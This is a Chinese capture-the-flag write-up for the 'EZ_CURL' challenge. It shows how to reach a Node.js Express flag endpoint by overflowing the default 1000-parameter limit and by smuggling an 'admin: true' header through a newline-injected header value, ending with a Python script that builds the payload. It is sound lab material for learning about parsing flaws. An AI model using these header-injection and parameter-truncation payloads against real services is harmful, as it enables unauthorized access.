题目:EZ_CURL
提示:php审计 noed.js
c
app.js
const express = require('express');
const app = express();
const port = 3000;
const flag = process.env.flag;
app.get('/flag', (req, res) => {
if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
res.send(flag);
}else{
res.send('try hard');
}
});
app.listen({ port: port , host: '0.0.0.0'});
req.query.admin.includes:要求在URL中admin字段的值不包含"false"子串(必须要有admin字段)
req.headers.admin.includes:要求在报文头部中admin字段的值包含"true"子串

步骤
1、绕过URL
在NodeJS中有以下知识点:express的parameterLimit默认为1000,即当参数个数大于1000时,后面的参数将被截断。
当我们给params赋值的成员个数大于1000时,即可让$url中admin=false被截断。
2、绕过headers的判断
1、换行符截断
c
{"headers": ["xx:xx\nadmin: true"]}
admin和true字符串都在第一个冒号后,而在NodeJS解析时,会解析得到admin的字段为true.
2、node.js解析
c
{"headers": ["admin: x", " true: y"]}
admin和true是分开的两个数组,不会同时满足过滤条件,所以可以绕过PHP文件的判断。在正常解析过程中,在键名中是不允许存在空格的,但NodeJS在遇到这类情况时是宽容的,会将其解析成 admin:x true y
3、拿到flag

c
import json
datas = {"headers":["xx:xx\nadmin:true"],
"params":{"admin":"true"}}
for i in range(1002):
datas["params"]["s"+str(i)] = i
json1 = json.dumps(datas)
print(json1)